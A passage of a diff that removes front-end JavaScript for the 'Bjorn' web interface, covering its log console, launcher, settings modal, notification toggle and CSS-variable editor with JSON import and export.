- } catch { - const isManual = - modeToggle?.textContent.trim() === 'Manual' || - modeToggle?.getAttribute('aria-pressed') === 'true'; - window.BjornUI?.ManualMode?.showAttack?.(!!isManual); - } - })(); - - // start SSE on open - window.BjornUI?.ConsoleSSE?.start?.(); - }; - - const closeConsole = ()=>{ - consoleEl.classList.remove('open'); - // stop SSE on close - window.BjornUI?.ConsoleSSE?.stop?.(); - }; - - toggleConsoleBtn?.addEventListener('click',()=> - consoleEl.classList.contains('open') ? closeConsole() : openConsole() - ); - $('#closeConsole')?.addEventListener('click', closeConsole); - $('#clearLogs')?.addEventListener('click', ()=> { $('#logout').innerHTML=''; }); - - (function setupConsoleFontSlider(){ - const inp = document.getElementById('consoleFont'); - if (!inp) return; - - // valeur initiale = ce que ConsoleSSE connaît - const cur = (window.BjornUI?.ConsoleSSE ? undefined : undefined); // noop, on lit depuis storage - try{ - const saved = parseInt(localStorage.getItem('Console.fontPx')||'',10); - const base = Number.isFinite(saved) ? saved : 11; - inp.value = String(base); - const min = +inp.min, max = +inp.max; - inp.style.backgroundSize = `${((base - min) * 100) / (max - min)}% 100%`; - }catch{} - - const apply = (v)=>{ - window.BjornUI?.ConsoleSSE?.setFont?.(v); - // on reste en bas si la console est ouverte - window.BjornUI?.ConsoleSSE?.forceBottom?.(); - }; - - inp.addEventListener('input', e => apply(parseInt(e.target.value,10))); - })(); - - // delegate to ManualMode - modeToggle?.addEventListener('click', (e)=>{ - e.preventDefault(); - window.BjornUI?.ManualMode?.toggle?.(); - }); - - // user can force show/hide attack bar - attackToggle?.addEventListener('click',()=>{ - const on = !consoleEl.classList.contains('with-attack'); - consoleEl.classList.toggle('with-attack', on); - if(attackBar) attackBar.style.display = on ? 'flex' : 'none'; - attackToggle?.setAttribute('aria-expanded', String(on)); - }); - - function log(msg){ - const out=$('#logout'); if(!out) return; - const line=el('div',{class:'logline'}); - line.innerHTML=`[${new Date().toLocaleTimeString()}] ${msg}`; - out.appendChild(line); - out.scrollTop=out.scrollHeight; - if(!consoleEl.classList.contains('open')){ - unread++; if(logBadge){ logBadge.textContent=String(unread); logBadge.hidden=false; } - } - } - -// Resize console height by dragging -(function () { - const res = $('#consoleResize'); if (!res) return; - let startY = 0, startH = 0; - - const onMove = (e) => { - const y = e.touches ? e.touches[0].clientY : e.clientY; - const dy = startY - y; - const nh = Math.min(window.innerHeight * 0.9, - Math.max(window.innerHeight * 0.2, startH + dy)); - consoleEl.style.height = nh + 'px'; - }; - - const onEnd = (e) => { - window.removeEventListener('mousemove', onMove); - window.removeEventListener('mouseup', onEnd); - window.removeEventListener('touchmove', onMove); - window.removeEventListener('touchend', onEnd); - - // Laisse le layout se stabiliser, puis force le bas - requestAnimationFrame(() => { - window.BjornUI?.ConsoleSSE?.forceBottom?.(); - }); - }; - - res.addEventListener('mousedown', (e) => { - startY = e.clientY; - startH = consoleEl.getBoundingClientRect().height; - window.addEventListener('mousemove', onMove); - window.addEventListener('mouseup', onEnd); - }); - - res.addEventListener('touchstart', (e) => { - startY = e.touches[0].clientY; - startH = consoleEl.getBoundingClientRect().height; - window.addEventListener('touchmove', onMove, { passive: true }); - window.addEventListener('touchend', onEnd); - }, { passive: true }); - - -})(); - - -// ===== Launcher (built from cfg) -// ===== Launcher (built from cfg) -// function buildLauncher() { -// if (!cfg.launcher) return; - -// let launcher = document.getElementById('launcher'); -// if (!launcher) { -// launcher = el('aside', { class: 'launcher', id: 'launcher', 'aria-hidden': 'true' }); -// const scroll = el('div', { class: 'launcher-scroll' }); -// launcher.appendChild(scroll); -// document.body.appendChild(launcher); -// } - -// const scroll = launcher.querySelector('.launcher-scroll'); -// scroll.innerHTML = ''; - -// (cfg.pages || []).forEach(p => { -// const a = el('a', { -// class: 'lbtn', -// href: p.href, -// 'data-tooltip': p.tooltip || '' -// }, [ -// el('img', { src: p.icon, alt: p.alt || '' }) -// ]); -// scroll.appendChild(a); -// }); -// } -// buildLauncher(); -function buildLauncher() { - if (!cfg.launcher) return; - - let launcher = document.getElementById('launcher'); - if (!launcher) { - launcher = el('aside', { class: 'launcher', id: 'launcher', 'aria-hidden': 'true' }); - const scroll = el('div', { class: 'launcher-scroll' }); - launcher.appendChild(scroll); - document.body.appendChild(launcher); - } - - const scroll = launcher.querySelector('.launcher-scroll'); - scroll.innerHTML = ''; - - (cfg.pages || []).forEach(p => { - const a = el('a', { - class: 'lbtn', - href: p.href, - 'data-tooltip': p.tooltip || '' - }); - - // image - const img = el('img', { src: p.icon, alt: p.alt || '' }); - - // label sous l'image - const label = el('div', { class: 'lbtn-label' }, [p.title || '']); - - // structure : image au-dessus, texte dessous - a.appendChild(img); - a.appendChild(label); - - scroll.appendChild(a); - }); -} -buildLauncher(); - - - -// Plus besoin de supprimer les attributs title car on n'en crée plus - -// ===== Launcher: sticky, se ferme seulement sur clic/tap à l’extérieur ===== -// ===== Launcher: sticky, se ferme uniquement au clic/tap à l'extérieur ===== -(function () { - const btn = document.getElementById('openLauncher'); - const launcher = document.getElementById('launcher'); - if (!btn || !launcher) return; - - // État - let isOpen = launcher.classList.contains('show'); - let touchStartY = null; - let touchMoved = false; - let lastTouchEndTs = 0; - - function setOpen(v) { - isOpen = !!v; - launcher.classList.toggle('show', isOpen); - launcher.setAttribute('aria-hidden', String(!isOpen)); - } - function closeIfOutside(target) { - if (!isOpen) return; - if (!launcher.contains(target) && !btn.contains(target)) setOpen(false); - } - - // Toggle manuel → ouvre en "sticky" - btn.addEventListener('click', (e) => { - e.stopPropagation(); - setOpen(!isOpen); - }); - - // --- Gestion tactile : ne pas fermer lors d'un scroll + tuer le ghost-click - document.addEventListener('touchstart', (e) => { - touchStartY = e.touches[0].clientY; - touchMoved = false; - }, { passive: true }); - - document.addEventListener('touchmove', (e) => { - if (touchStartY !== null) { - const dy = Math.abs(e.touches[0].clientY - touchStartY); - if (dy > 8) touchMoved = true; // seuil anti-tap - } - }, { passive: true }); - - document.addEventListener('touchend', (e) => { - lastTouchEndTs = Date.now(); - - if (!isOpen) { - touchStartY = null; - touchMoved = false; - return; - } - - // si on a scrollé → ne ferme pas et évite le click synthétique - if (touchMoved && e.cancelable) { - e.preventDefault(); - } else { - closeIfOutside(e.target); - } - - touchStartY = null; - touchMoved = false; - }, { capture: true }); - - // --- Click souris/stylet : fermeture à l’extérieur seulement - document.addEventListener('click', (e) => { - // avale le "ghost click" qui suit un touchend - if (Date.now() - lastTouchEndTs < 350) return; - closeIfOutside(e.target); - }, true); - - // Neutralisations : ne JAMAIS fermer sur hover/focus - launcher.addEventListener('mouseleave', () => { /* no-op: sticky */ }); - btn.addEventListener('mouseleave', () => { /* no-op: sticky */ }); - - // ESC → fermer si ouvert - document.addEventListener('keydown', (e) => { - if (e.key === 'Escape' && isOpen) setOpen(false); - }); -})(); - - - - - // ===== Settings modal + tabs - // const openSettings=()=>{ backdrop.style.display='flex'; setTimeout(()=>$('.modal').classList.add('show'),0); backdrop.setAttribute('aria-hidden','false'); }; -// const openSettings = () => { -// backdrop.style.display = 'flex'; -// cibler UNIQUEMENT la modale des Settings -// const modal = backdrop.querySelector('.modal'); -// setTimeout(() => modal?.classList.add('show'), 0); -// backdrop.setAttribute('aria-hidden', 'false'); -// }; -const openSettings = () => { - const backdrop = document.getElementById('settingsBackdrop'); - const modal = backdrop?.querySelector('.modal'); - - if (!backdrop || !modal) { - console.error('Settings backdrop or modal not found'); - return; - } - - backdrop.style.display = 'flex'; - backdrop.style.zIndex = '90'; // Force z-index - backdrop.setAttribute('aria-hidden', 'false'); - - // Trigger animation après render - requestAnimationFrame(() => { - modal.classList.add('show'); - }); -}; - // const closeSettings=()=>{ backdrop.style.display='none'; backdrop.setAttribute('aria-hidden','true'); }; - const closeSettings = () => { - const modal = backdrop.querySelector('.modal'); - modal?.classList.remove('show'); - backdrop.style.display = 'none'; - backdrop.setAttribute('aria-hidden','true'); - }; - $('#openSettings')?.addEventListener('click',openSettings); - $('#closeSettings')?.addEventListener('click',closeSettings); - backdrop?.addEventListener('click',e=>{ if(e.target===backdrop) closeSettings(); }); - $('#settingsTabs')?.addEventListener('click', e=>{ const btn = e.target.closest('.tabbtn'); if(!btn) return; $$('.tabbtn').forEach(b=>b.classList.toggle('active', b===btn)); const name=btn.dataset.tab; $$('.tabpanel').forEach(p=>p.hidden=!p.id.endsWith(name)); }); - $('#tab-theme')?.addEventListener('click', e=>{ const b=e.target.closest('[data-theme]'); if(!b) return; const root=document.documentElement.style; if(b.dataset.theme==='acid'){ root.setProperty('--acid','#00ff9a'); root.setProperty('--acid-2','#18f0ff'); } else if(b.dataset.theme==='cyan'){ root.setProperty('--acid','#00e5ff'); root.setProperty('--acid-2','#6df7ff'); } else if(b.dataset.theme==='amber'){ root.setProperty('--acid','#ffc400'); root.setProperty('--acid-2','#ff8a00'); } toast(`Theme → ${b.dataset.theme}`); }); - - // ===== Gestures + keyboard for panels - let touchStartY=null; - document.addEventListener('touchstart', e=>{ const t=e.touches[0]; touchStartY=t.clientY; },{passive:true}); - document.addEventListener('touchend', e=>{ - if(touchStartY==null) return; - const y=e.changedTouches[0].clientY; const dy=y-touchStartY; - const nearTop = touchStartY<24; const nearBottom = touchStartY>window.innerHeight-24; - if(nearTop && dy>40) qpShow(true); - if(nearBottom && dy<-40) openConsole(); - touchStartY=null; - }); - -(function setupBackdropLiveMode(){ - const backdrop = document.getElementById('settingsBackdrop'); - const tabs = document.getElementById('settingsTabs'); - - function applyLive(on){ backdrop?.classList.toggle('live', !!on); } - - // Au clic sur les tabs - tabs?.addEventListener('click', (e)=>{ - const b = e.target.closest('.tabbtn'); - if(!b) return; - applyLive(b.dataset.tab === 'ui'); - }); - - // À l’ouverture des settings - document.getElementById('openSettings')?.addEventListener('click', ()=>{ - const active = tabs?.querySelector('.tabbtn.active'); - applyLive(active?.dataset.tab === 'ui'); - }); -})(); - - - - closeConsole(); - - // ===== Notifications gate (persisted) ===== - (function setupNotificationsGateAndSwitch(){ - const NOTIF_KEY = 'Bjorn.Notifs'; - function readFlag(){ - try{ const v = localStorage.getItem(NOTIF_KEY); return v===null ? true : v==='1'; }catch{ return true; } - } - function writeFlag(on){ - try{ localStorage.setItem(NOTIF_KEY, on ? '1' : '0'); }catch{} - } - - // state + wrapper - window.Bjorn = window.Bjorn || {}; - Bjorn.notificationsEnabled = readFlag(); - - // keep original impl - const _impl = window.Bjorn.toast; - // redefine global generic toast to honor gate - window.toast = function(msg, ms=2600){ - if (!Bjorn.notificationsEnabled) return; - (_impl || _innerToast)(msg, ms); - }; - // also ensure Bjorn.toast goes through gate - Bjorn.toast = window.toast; - - // wire settings switch - const sw = document.getElementById('switchNotifs'); - if (sw){ - sw.classList.toggle('on', !!Bjorn.notificationsEnabled); - sw.addEventListener('click', () => { - const on = !Bjorn.notificationsEnabled; - Bjorn.notificationsEnabled = on; - writeFlag(on); - sw.classList.toggle('on', on); - // tiny feedback that ignores the gate so user gets confirmation: - (_impl || _innerToast)(on ? 'Notifications ON' : 'Notifications OFF', 1400); - }); - } - })(); - - // ===== Public API (merged, keeps previous members) - window.Bjorn = Object.assign({}, window.Bjorn || {}, { - openConsole, - closeConsole, - log: (m) => log(m), - setTheme: (name) => { - const root = document.documentElement.style; - if (name === 'cyan') { - root.setProperty('--acid', '#00e5ff'); - root.setProperty('--acid-2', '#6df7ff'); - } else if (name === 'amber') { - root.setProperty('--acid', '#ffc400'); - root.setProperty('--acid-2', '#ff8a00'); - } else { - root.setProperty('--acid', '#00ff9a'); - root.setProperty('--acid-2', '#18f0ff'); - } - toast(`Theme → ${name}`); - }, - addLauncherItem: (icon, title, href) => { - const a = el('a', { class: 'lbtn', href, title }, icon); - $('#launcher')?.appendChild(a); - }, - reloadConfig: async () => { - try { localStorage.removeItem('BjornConfig'); } catch {} - const fresh = await (async () => { - try { - const r = await fetch('/bjorn.config.json', { cache: 'no-store' }); - if (r.ok) return await r.json(); - } catch {} - return null; - })(); - if (fresh) { - Object.assign(cfg, fresh); - try { localStorage.setItem('BjornConfig', JSON.stringify(fresh)); } catch {} - buildLauncher(); - toast('Config reloaded'); - } - }, - // expose SSE controls without losing SettingsConfig already defined - consoleSSE: BjornUI.ConsoleSSE, - version: '1.2.0' - }); - - - - - - -// ===== Bjorn.UIVars — collecter/apply/export/import des custom properties ===== -window.Bjorn = window.Bjorn || {}; -(function () { - if (Bjorn.UIVars) return; // idempotent - - const STORE_KEY = 'Bjorn.UI.Vars'; - - // Retourne { "--acid":"#00ff9a", "--console-font":"12px", ... } - function collectFromStylesheets({ hrefIncludes = ['global.css'] } = {}) { - const out = {}; - const sheets = Array.from(document.styleSheets || []); - for (const sh of sheets) { - // Filtrage facultatif : uniquement les feuilles ciblées (ou inline si href null) - const isTarget = !hrefIncludes?.length || - !sh.href || hrefIncludes.some(s => (sh.href || '').includes(s)); - - if (!isTarget) continue; - let rules; - try { rules = sh.cssRules; } catch (e) { - // CORS : si cross-origin → cssRules inaccessible - continue; - } - if (!rules) continue; - - for (const r of rules) { - if (!(r.style && r.selectorText)) continue; - if (!/(^|,)\s*(?:\:root|html|body)\s*(,|$)/i.test(r.selectorText)) continue; - - // Récupère toutes les props qui commencent par -- - for (let i = 0; i < r.style.length; i++) { - const prop = r.style[i]; - if (prop.startsWith('--')) out[prop] = r.style.getPropertyValue(prop).trim(); - } - } - } - return out; - } - - // Applique un dict { "--var":"val" } sur :root (inline style → priorité) - function apply(vars) { - const root = document.documentElement; - Object.entries(vars || {}).forEach(([k, v]) => { - if (String(k).startsWith('--')) root.style.setProperty(k, String(v)); - }); - } - - // Lecture/écriture storage - function saveLocal(vars) { - try { localStorage.setItem(STORE_KEY, JSON.stringify(vars || {})); } catch {} - } - function loadLocal() { - try { return JSON.parse(localStorage.getItem(STORE_KEY) || '{}'); } catch { return {}; } - } - - // Fusion : local override > CSS initial - function current({ hrefIncludes } = {}) { - const base = collectFromStylesheets({ hrefIncludes }); - const overrides = loadLocal(); - return Object.assign({}, base, overrides); - } - - // Export JSON (téléchargement) - function exportJSON(vars) { - const blob = new Blob([JSON.stringify(vars || loadLocal(), null, 2)], { type: 'application/json' }); - const a = document.createElement('a'); - a.href = URL.createObjectURL(blob); - a.download = 'bjorn-ui-config.json'; - a.click(); - setTimeout(() => URL.revokeObjectURL(a.href), 1000); - } - - // Import JSON (fichier ou texte) - async function importJSON(src) { - let obj = {}; - if (src instanceof File) { - obj = JSON.parse(await src.text()); - } else if (typeof src === 'string') { - obj = JSON.parse(src); - } else if (src && typeof src === 'object') { - obj = src; - } - // Filtrer uniquement les clés --var - const clean = {}; - Object.entries(obj).forEach(([k, v]) => { if (String(k).startsWith('--')) clean[k] = v; }); - apply(clean); - saveLocal(Object.assign(loadLocal(), clean)); - return clean; - } - - // Auto-apply au démarrage (si overrides existent) - (function autoApply() { - const overrides = loadLocal(); - if (overrides && Object.keys(overrides).length) apply(overrides); - })(); - - Bjorn.UIVars = { collectFromStylesheets, apply, exportJSON, importJSON, current, loadLocal, saveLocal, STORE_KEY }; -})(); - - -// ===== Settings → UI tab ===== -(function () { - const $ = (s, r = document) => r.querySelector(s); - const $$ = (s, r = document) => Array.from(r.querySelectorAll(s)); - if (document.getElementById('tab-ui')) return; // idempotent - - const tabs = document.getElementById('settingsTabs'); - const modal = $('#settingsBackdrop .modal'); - if (!tabs || !modal) return; - - // 1) Tab bouton - const btn = document.createElement('button'); - btn.className = 'tabbtn'; - btn.dataset.tab = 'ui'; - btn.textContent = 'UI'; - const aboutBtn = tabs.querySelector('[data-tab="about"]'); - tabs.insertBefore(btn, aboutBtn || null); - - // 2) Panel contenu - const panel = document.createElement('section'); - panel.className = 'tabpanel'; - panel.id = 'tab-ui'; - panel.hidden = true; - panel.innerHTML = ` -
                - - - - -
                -
                - - `; - modal.appendChild(panel); - - // Petit style de champ - const css = document.createElement('style'); - css.textContent = ` - .ui-var-card{border:1px solid rgba(0,255,154,.15);background:rgba(0,0,0,.2);border-radius:12px;padding:12px;display:flex;gap:10px;align-items:center} - .ui-var-name{font-family:monospace;font-size:12px;min-width:160px;word-break:break-all;color:var(--acid)} - .ui-var-input{flex:1;display:flex;gap:8px;align-items:center} - .ui-var-input input[type="text"]{width:100%} - .ui-var-actions{display:flex;gap:6px} - .ui-dot{width:20px;height:20px;border-radius:6px;border:1px solid rgba(255,255,255,.15)} - `; - document.head.appendChild(css); - // ---- Helpers de typage ---------------------------------------------------- - function isHexColor(v){ return /^#([0-9a-f]{3}|[0-9a-f]{6}|[0-9a-f]{8})$/i.test(v.trim()); } - function isRgb(v){ return /^rgba?\(\s*\d{1,3}\s*,\s*\d{1,3}\s*,\s*\d{1,3}(?:\s*,\s*(0|1|0?\.\d+))?\s*\)$/i.test(v.trim()); } - function isHsl(v){ return /^hsla?\(\s*\d+(?:deg|turn|rad)?\s*,\s*\d+%\s*,\s*\d+%(?:\s*,\s*(0|1|0?\.\d+))?\s*\)$/i.test(v.trim()); } - function isColorMix(v){ return /^color-mix\(/i.test(v.trim()); } - function isGradient(v){ return /(repeating-)?(linear|radial|conic)-gradient\(/i.test(v.trim()); } - function isShadow(v){ return /\b(?:inset\s+)?-?\d*\.?\d+(px|rem|em)\s+-?\d*\.?\d+(px|rem|em)\s+-?\d*\.?\d+(px|rem|em)/i.test(v.trim()); } - function isUrl(v){ return /^url\(/i.test(v.trim()); } - function isLength(v){ return /^-?\d*\.?\d+\s*(px|vh|vw|rem|em|%|vmin|vmax|ch)$/i.test(v.trim()); } - function isNumberOnly(v){ return /^-?\d*\.?\d+$/.test(v.trim()); } - - const LEN_UNITS = ['px','vh','vw','rem','em','%','vmin','vmax','ch']; - - function splitLength(raw){ - const s = String(raw||'').trim(); - const m = s.match(/^(-?\d*\.?\d+)\s*(px|vh|vw|rem|em|%|vmin|vmax|ch)$/i); - if(!m) return { num: NaN, unit: 'px' }; - return { num: parseFloat(m[1]), unit: m[2] }; - } - - function clamp(n, min, max){ return Math.min(max, Math.max(min, n)); } - - // Heuristiques min/max selon nom + unité - function rangeFor(name, unit, num){ - const n = Number(num); - const byUnit = { - px: {min:0, max: (n>0? Math.max(64, n*3) : 512), step:1}, - rem: {min:0, max: (n>0? Math.max(2, n*3) : 10), step:0.1}, - em: {min:0, max: (n>0? Math.max(2, n*3) : 10), step:0.1}, - vh: {min:0, max:100, step:1}, - vw: {min:0, max:100, step:1}, - '%': {min:0, max:100, step:1}, - vmin:{min:0, max:100, step:1}, - vmax:{min:0, max:100, step:1}, - ch: {min:0, max:(n>0? Math.max(10, n*3) : 60), step:1}, - }; - const r = byUnit[unit] || {min:0, max:(n>0? n*3 : 100), step:1}; - // ajustements par nom courant - if (/radius/i.test(name)) return {min:0, max:64, step:1}; - if (/gap|pad|space/i.test(name) && unit==='px') return {min:0, max:48, step:1}; - if (/h-|height/i.test(name) && unit==='px') return {min:20, max:200, step:1}; - return r; - } - - // Conversion couleur hex <-> rgba pour le color input - function rgbaToHex(r,g,b){ return '#'+[r,g,b].map(n=>Math.max(0,Math.min(255,Math.round(n))).toString(16).padStart(2,'0')).join(''); } - function parseRgba(str){ - const m = str.match(/^rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})(?:\s*,\s*(\d*\.?\d+))?\s*\)$/i); - if(!m) return null; - return { r:+m[1], g:+m[2], b:+m[3], a:(m[4]==null?1:+m[4]) }; - } - - // ---- Render d’une ligne de variable --------------------------------------- - function rowWrap(name){ - const card = document.createElement('div'); - card.className = 'ui-var-card'; - const left = document.createElement('div'); - left.className = 'ui-var-name'; - left.textContent = name; - const body = document.createElement('div'); - body.className = 'ui-var-input'; - const actions = document.createElement('div'); - actions.className = 'ui-var-actions'; - const resetBtn = document.createElement('button'); - resetBtn.className = 'btn'; - resetBtn.textContent = 'Reset'; - actions.appendChild(resetBtn); - card.append(left, body, actions); - return { card, body, resetBtn }; - } - - function updateVar(name, value){ - document.documentElement.style.setProperty(name, value); - const local = Bjorn.UIVars.loadLocal(); - local[name] = value; - Bjorn.UIVars.saveLocal(local); - } - - function removeOverride(name){ - document.documentElement.style.removeProperty(name); - const local = Bjorn.UIVars.loadLocal(); - delete local[name]; - Bjorn.UIVars.saveLocal(local); - } - - // ---- Contrôles spécialisés ------------------------------------------------- - function renderColorControl(name, value){ - const { card, body, resetBtn } = rowWrap(name); - - // picker + champ texte (pour rgba/hsl/colormix) - const swatch = document.createElement('div'); - swatch.className = 'ui-dot'; - swatch.style.background = value; - - const picker = document.createElement('input'); - picker.type = 'color'; - // si rgba/hsl → approx hex pour le picker - if (isHexColor(value)) picker.value = value; - else if (isRgb(value)){ - const {r,g,b} = parseRgba(value); - picker.value = rgbaToHex(r,g,b); - } else { - // fallback: essaie computed - try { - const tmp = document.createElement('div'); - tmp.style.color = value; // force parse - document.body.appendChild(tmp); - const cs = getComputedStyle(tmp).color; - document.body.removeChild(tmp); - const {r,g,b} = parseRgba(cs) || {r:0,g:0,b:0}; - picker.value = rgbaToHex(r,g,b); - } catch { picker.value = '#00ff9a'; } - } - - const text = document.createElement('input'); - text.type = 'text'; - text.value = value; - text.placeholder = 'hex, rgb(), hsl(), color-mix()…'; - - function paint(v){ - swatch.style.background = v; - text.value = v; - updateVar(name, v); - } - - picker.addEventListener('input', ()=> { - // si original était rgba/hsla → garder alpha en 1 par défaut - const hex = picker.value; - paint(hex); - }); - - text.addEventListener('change', ()=>{ - const v = text.value.trim(); - paint(v); - }); - - resetBtn.addEventListener('click', ()=>{ removeOverride(name); text.value = value; swatch.style.background = value; }); - - body.append(swatch, picker, text); - return card; - } - - function renderLengthControl(name, value){ - const { card, body, resetBtn } = rowWrap(name); - const { num, unit } = splitLength(value); - const select = document.createElement('select'); - LEN_UNITS.forEach(u=>{ - const o = document.createElement('option'); - o.value = u; o.textContent = u; - if (u.toLowerCase() === unit.toLowerCase()) o.selected = true; - select.appendChild(o); - }); - - const input = document.createElement('input'); - input.type = 'range'; - const r = rangeFor(name, unit, num); - input.min = String(r.min); - input.max = String(r.max); - input.step = String(r.step); - input.value = String(isFinite(num) ? clamp(num, r.min, r.max) : r.min); - - const box = document.createElement('input'); - box.type = 'number'; - box.value = String(isFinite(num) ? num : r.min); - box.min = String(r.min); - box.max = String(r.max); - box.step = String(r.step); - box.style.width = '90px'; - - const pretty = () => `${box.value}${select.value}`; - - function apply(){ - updateVar(name, pretty()); - } - - input.addEventListener('input', ()=> { box.value = input.value; apply(); }); - box.addEventListener('input', ()=> { - const n = parseFloat(box.value); - if (isFinite(n)) input.value = String(clamp(n, +input.min, +input.max)); - apply(); - }); - select.addEventListener('change', ()=> { - // re-range si unité change - const r2 = rangeFor(name, select.value, parseFloat(box.value)); - input.min = String(r2.min); input.max = String(r2.max); input.step = String(r2.step); - box.min = String(r2.min); box.max = String(r2.max); box.step = String(r2.step); - apply(); - }); - - resetBtn.addEventListener('click', ()=> { - removeOverride(name); - const { num:n2, unit:u2 } = splitLength(value); - select.value = u2; - const rr = rangeFor(name, u2, n2); - input.min = String(rr.min); input.max = String(rr.max); input.step = String(rr.step); - input.value = String(isFinite(n2) ? clamp(n2, rr.min, rr.max) : rr.min); - box.min = String(rr.min); box.max = String(rr.max); box.step = String(rr.step); - box.value = String(isFinite(n2) ? n2 : rr.min); - }); - - body.append(input, box, select); - return card; - } - - function renderTextAreaPreview(name, value, kind){ // kind: 'gradient' | 'shadow' | 'other' - const { card, body, resetBtn } = rowWrap(name); - const preview = document.createElement('div'); - preview.style.width = '140px'; - preview.style.height = '40px'; - preview.style.border = '1px solid rgba(255,255,255,.12)'; - preview.style.borderRadius = '8px'; - preview.style.flex = '0 0 auto'; - - const ta = document.createElement('textarea'); - ta.value = value; - ta.style.flex = '1 1 auto'; - ta.style.minHeight = '64px'; - ta.style.resize = 'vertical'; - - function paint(v){ - try{ - if (kind==='gradient') { - preview.style.background = v; - preview.style.boxShadow = 'none'; - } else if (kind==='shadow') { - preview.style.background = 'var(--panel, #111)'; - preview.style.boxShadow = v; - } else { - preview.style.background = 'var(--panel, #111)'; - preview.style.boxShadow = 'none'; - } - }catch{} - } - paint(value); - - ta.addEventListener('input', ()=>{ - const v = ta.value.trim(); - paint(v); - updateVar(name, v); - }); - resetBtn.addEventListener('click', ()=>{ removeOverride(name); ta.value = value; paint(value); }); - - body.append(preview, ta); - return card; - } - - function renderSimpleText(name, value){ - const { card, body, resetBtn } = rowWrap(name); - const inp = document.createElement('input'); - inp.type = 'text'; - inp.value = value; - inp.addEventListener('change', ()=> updateVar(name, inp.value.trim())); - resetBtn.addEventListener('click', ()=>{ removeOverride(name); inp.value = value; }); - body.append(inp); - return card; - } - - // ---- Rendu global ---------------------------------------------------------- - function renderUIVars(){ - const host = document.getElementById('uiVarsHost'); - if(!host) return; - host.innerHTML = ''; - - // Toutes les variables courantes (CSS + overrides) - const vars = Bjorn.UIVars.current(); // { --acid: '#00ff9a', ... } - - // Optionnel: classer par famille (couleurs / tailles / autres) - const entries = Object.entries(vars) - .filter(([k]) => k.startsWith('--')) // par sécurité - .sort(([a],[b]) => a.localeCompare(b)); - - for (const [name, valRaw] of entries) { - const value = String(valRaw || '').trim(); - - // 1) Couleurs (hex/rgb/hsl/color-mix) - if (isHexColor(value) || isRgb(value) || isHsl(value) || isColorMix(value)) { - host.appendChild(renderColorControl(name, value)); - continue; - } - // 2) Longueurs avec unité - if (isLength(value)) { - host.appendChild(renderLengthControl(name, value)); - continue; - } - // 3) Gradients / Shadows (avec preview) - if (isGradient(value)) { - host.appendChild(renderTextAreaPreview(name, value, 'gradient')); - continue; - } - if (isShadow(value)) { - host.appendChild(renderTextAreaPreview(name, value, 'shadow')); - continue; - } - // 4) Nombres bruts (sans unité) => slider simple + input - if (isNumberOnly(value)) { - const unitized = `${value}px`; // pour profiter du composant longueur - host.appendChild(renderLengthControl(name, unitized)); - continue; - } - // 5) Fallback: textarea/texte - host.appendChild(renderSimpleText(name, value)); - } - } - - // ---- Boutons (export / import / reset / copy) ------------------------------ - $('#uiExport')?.addEventListener('click', ()=> Bjorn.UIVars.exportJSON(Bjorn.UIVars.loadLocal())); - $('#uiCopy')?.addEventListener('click', async ()=>{ - const txt = JSON.stringify(Bjorn.UIVars.loadLocal(), null, 2); - try { await navigator.clipboard.writeText(txt); toast('JSON copié'); } catch { toast('Impossible de copier'); } - }); - $('#uiImport')?.addEventListener('click', ()=> $('#uiImportFile')?.click()); - $('#uiImportFile')?.addEventListener('change', async (e)=>{ - const f = e.target.files?.[0]; if(!f) return; - try { await Bjorn.UIVars.importJSON(f); toast('Import OK'); renderUIVars(); } catch(err){ console.error(err); toast('Import invalide'); } - e.target.value = ''; - }); - $('#uiReset')?.addEventListener('click', ()=>{ - const local = Bjorn.UIVars.loadLocal(); - Object.keys(local).forEach(k => document.documentElement.style.removeProperty(k)); - Bjorn.UIVars.saveLocal({}); - toast('Overrides retirés'); - renderUIVars(); - }); - - // Rendre quand l’onglet UI est affiché - $('#settingsTabs')?.addEventListener('click', (e)=>{ - const b = e.target.closest('.tabbtn'); if(!b) return; - if (b.dataset.tab === 'ui') setTimeout(renderUIVars, 0); - }); - // Si on ouvre les settings et qu'on est déjà sur UI - $('#openSettings')?.addEventListener('click', ()=>{ - const active = $('#settingsTabs .tabbtn.active'); - if (active?.dataset.tab === 'ui') setTimeout(renderUIVars, 0); - }); - - // Expose si besoin - window.Bjorn = window.Bjorn || {}; - window.Bjorn.renderUIVars = renderUIVars; -})(); - - - - - - - - // ===== Number+Slider enhancer (kept compatible) - (function(){ - function clamp(v, min, max){ return Math.min(max, Math.max(min, v)); } - function pct(val, min, max){ return ( (val - min) * 100 ) / (max - min || 1); } - - function setup(root){ - document.querySelectorAll('.input-number-w-slider').forEach(wrap=>{ - const r = wrap.querySelector('input[type="range"]'); - const n = wrap.querySelector('input[type="number"]'); - if(!r || !n) return; - - const min = +(r.min || n.min || wrap.dataset.min || 0); - const max = +(r.max || n.max || wrap.dataset.max || 100); - const step = +(r.step || n.step || wrap.dataset.step || 1); - - [r, n].forEach(el => { el.min = min; el.max = max; el.step = step; }); - - // init value - const start = Number.isFinite(+n.value) ? +n.value : (Number.isFinite(+r.value) ? +r.value : min); - r.value = n.value = clamp(start, min, max); - - // update track fill (WebKit) - const paint = () => { - const p = pct(+r.value, min, max); - wrap.style.setProperty('--_fill', p + '%'); - }; - paint(); - - // events - r.addEventListener('input', ()=>{ - n.value = r.value; - paint(); - wrap.dispatchEvent(new CustomEvent('valuechange', { detail:{ value:+r.value } })); - }); - n.addEventListener('input', ()=>{ - const v = clamp(+n.value || 0, min, max); - r.value = v; - n.value = v; - paint(); - wrap.dispatchEvent(new CustomEvent('valuechange', { detail:{ value:v } })); - }); - - // optional: wheel to step on the number field - n.addEventListener('wheel', (e)=>{ - if(!n.matches(':focus')) return; - e.preventDefault(); - const dir = e.deltaY > 0 ? -1 : 1; - const next = clamp((+n.value || 0) + dir*step, min, max); - n.value = next; - r.value = next; - paint(); - wrap.dispatchEvent(new CustomEvent('valuechange', { detail:{ value:next } })); - }, { passive:false }); - }); - } - - // auto-setup now; expose for dynamic content - document.readyState !== 'loading' ? setup(document) : document.addEventListener('DOMContentLoaded', ()=>setup(document)); - window.Bjorn = Object.assign({}, window.Bjorn || {}, { setupNumberWithSlider: setup }); - })(); - - // ===== Init Console SSE & ManualMode after DOM is ready - if (window.BjornUI?.ConsoleSSE) { - BjornUI.ConsoleSSE.init({ targetSelector: '#logout' }); - } - if (window.BjornUI?.ManualMode) { - BjornUI.ManualMode.init(); - } - - window.addEventListener('beforeunload', ()=> window.BjornUI?.ConsoleSSE?.stop?.()); - -})(); - - -// ===================================================================== -// Added: value-type detection & parsing helpers (colors, gradients, var) -// ===================================================================== - -// rgb()/hsl() detection as a single predicate -function 